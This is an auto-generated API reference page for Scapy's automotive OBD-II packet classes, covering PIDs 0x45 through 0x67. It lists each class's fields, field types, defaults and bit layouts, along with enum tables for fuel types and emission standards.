class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID45(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L133-L134]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID45                          


OBD_PID45 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID46(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L137-L141]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID46                          


OBD_PID46 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID47(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L144-L145]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID47                          


OBD_PID47 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID48(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L148-L149]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID48                          


OBD_PID48 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID49(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L152-L153]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID49                          


OBD_PID49 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID4A(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L156-L157]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID4A                          


OBD_PID4A fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID4B(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L160-L161]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID4B                          


OBD_PID4B fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID4C(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L164-L165]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID4C                          


OBD_PID4C fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID4D(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L168-L172]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID4D                          


OBD_PID4D fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID4E(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L175-L179]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID4E                          


OBD_PID4E fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID4F(_pkt, /, *, equivalence_ratio=0, sensor_voltage=0, sensor_current=0, intake_manifold_absolute_pressure=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L182-L190]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EQUIVALENCE RAT| SENSOR VOLTAGE| SENSOR CURRENT|INTAKE MANIFOLD|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID4F                          


OBD_PID4F fields






	equivalence_ratio

	ScalingField

	0



	sensor_voltage

	ScalingField

	0



	sensor_current

	ScalingField

	0



	intake_manifold_absolute_pressure

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID50(_pkt, /, *, data=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L193-L198]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID50                          


OBD_PID50 fields






	data

	ScalingField

	0



	reserved

	ThreeBytesField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID51(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L201-L232]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID51                          


OBD_PID51 fields






	data

	ByteEnumField

	0











	
fuelTypes = {0: 'Not available', 1: 'Gasoline', 2: 'Methanol', 3: 'Ethanol', 4: 'Diesel', 5: 'LPG', 6: 'CNG', 7: 'Propane', 8: 'Electric', 9: 'Bifuel running Gasoline', 10: 'Bifuel running Methanol', 11: 'Bifuel running Ethanol', 12: 'Bifuel running LPG', 13: 'Bifuel running CNG', 14: 'Bifuel running Propane', 15: 'Bifuel running Electricity', 16: 'Bifuel running electric and combustion engine', 17: 'Hybrid gasoline', 18: 'Hybrid Ethanol', 19: 'Hybrid Diesel', 20: 'Hybrid Electric', 21: 'Hybrid running electric and combustion engine', 22: 'Hybrid Regenerative', 23: 'Bifuel running diesel'}

	








	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID52(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L235-L236]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID52                          


OBD_PID52 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID53(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L239-L243]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID53                          


OBD_PID53 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID54(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L246-L250]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID54                          


OBD_PID54 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID55(_pkt, /, *, bank1=0, bank3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L271-L272]

	Bases: _OBD_SensorTrimPacket1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     BANK1     |     BANK3     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID55                          


OBD_PID55 fields






	bank1

	ScalingField

	0



	bank3

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID56(_pkt, /, *, bank1=0, bank3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L275-L276]

	Bases: _OBD_SensorTrimPacket1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     BANK1     |     BANK3     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID56                          


OBD_PID56 fields






	bank1

	ScalingField

	0



	bank3

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID57(_pkt, /, *, bank2=0, bank4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L279-L280]

	Bases: _OBD_SensorTrimPacket2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     BANK2     |     BANK4     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID57                          


OBD_PID57 fields






	bank2

	ScalingField

	0



	bank4

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID58(_pkt, /, *, bank2=0, bank4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L283-L284]

	Bases: _OBD_SensorTrimPacket2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     BANK2     |     BANK4     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID58                          


OBD_PID58 fields






	bank2

	ScalingField

	0



	bank4

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID59(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L287-L291]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID59                          


OBD_PID59 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID5A(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L294-L295]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID5A                          


OBD_PID5A fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID5B(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L298-L299]

	Bases: _OBD_PercentPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID5B                          


OBD_PID5B fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID5C(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L302-L306]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID5C                          


OBD_PID5C fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID5D(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L309-L314]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID5D                          


OBD_PID5D fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID5E(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L317-L321]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID5E                          


OBD_PID5E fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID5F(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L324-L335]

	Bases: OBD_Packet


	
aliastypes

	




	
emissionRequirementTypes = {14: 'Heavy Duty Vehicles (EURO IV) B1', 15: 'Heavy Duty Vehicles (EURO V) B2', 16: 'Heavy Duty Vehicles (EURO EEV) C'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID5F                          


OBD_PID5F fields






	data

	ByteEnumField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids_60_7F


	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID60(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L17-L54]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID60                          


OBD_PID60 fields






	supported_pids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID61(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L57-L61]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID61                          


OBD_PID61 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID62(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L64-L68]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID62                          


OBD_PID62 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID63(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L71-L75]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID63                          


OBD_PID63 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID64(_pkt, /, *, at_point1=0, at_point2=0, at_point3=0, at_point4=0, at_point5=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L78-L86]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   AT POINT1   |   AT POINT2   |   AT POINT3   |   AT POINT4   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   AT POINT5   |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID64                          


OBD_PID64 fields






	at_point1

	ScalingField

	0



	at_point2

	ScalingField

	0



	at_point3

	ScalingField

	0



	at_point4

	ScalingField

	0



	at_point5

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID65(_pkt, /, *, reserved1=0, glow_plug_lamp_status_supported=0, manual_trans_neutral_drive_status_supported=0, auto_trans_neutral_drive_status_supported=0, power_take_off_status_supported=0, reserved2=0, glow_plug_lamp_status=0, manual_trans_neutral_drive_status=0, auto_trans_neutral_drive_status=0, power_take_off_status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L89-L103]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|G|M|A|P|RESERVE|G|M|A|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID65                          


OBD_PID65 fields






	reserved1

	BitField  (4 bits)

	0



	glow_plug_lamp_status_supported

	BitField  (1 bit)

	0



	manual_trans_neutral_drive_status_supported

	BitField  (1 bit)

	0



	auto_trans_neutral_drive_status_supported

	BitField  (1 bit)

	0



	power_take_off_status_supported

	BitField  (1 bit)

	0



	reserved2

	BitField  (4 bits)

	0



	glow_plug_lamp_status

	BitField  (1 bit)

	0



	manual_trans_neutral_drive_status

	BitField  (1 bit)

	0



	auto_trans_neutral_drive_status

	BitField  (1 bit)

	0



	power_take_off_status

	BitField  (1 bit)

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID66(_pkt, /, *, reserved=0, sensor_b_supported=0, sensor_a_supported=0, sensor_a=0, sensor_b=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L106-L114]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |S|S|            SENSOR A           |    SENSOR B   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID66                          


OBD_PID66 fields






	reserved

	BitField  (6 bits)

	0



	sensor_b_supported

	BitField  (1 bit)

	0



	sensor_a_supported

	BitField  (1 bit)

	0



	sensor_a

	ScalingField

	0



	sensor_b

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID67(_pkt, /, *, reserved=0, sensor2_supported=0, sensor1_supported=0, sensor1=0, sensor2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L117-L125]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |S|S|    SENSOR1    |    SENSOR2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID67                          


OBD_PID67 fields






	reserved

	BitField  (6 bits)

	0



	sensor2_supported

	BitField  (1 bit)

	0



	sensor1_supported

	BitField  (1 bit)

	0



	sensor1

	ScalingField

	0



	sensor2

	ScalingField

	0















	
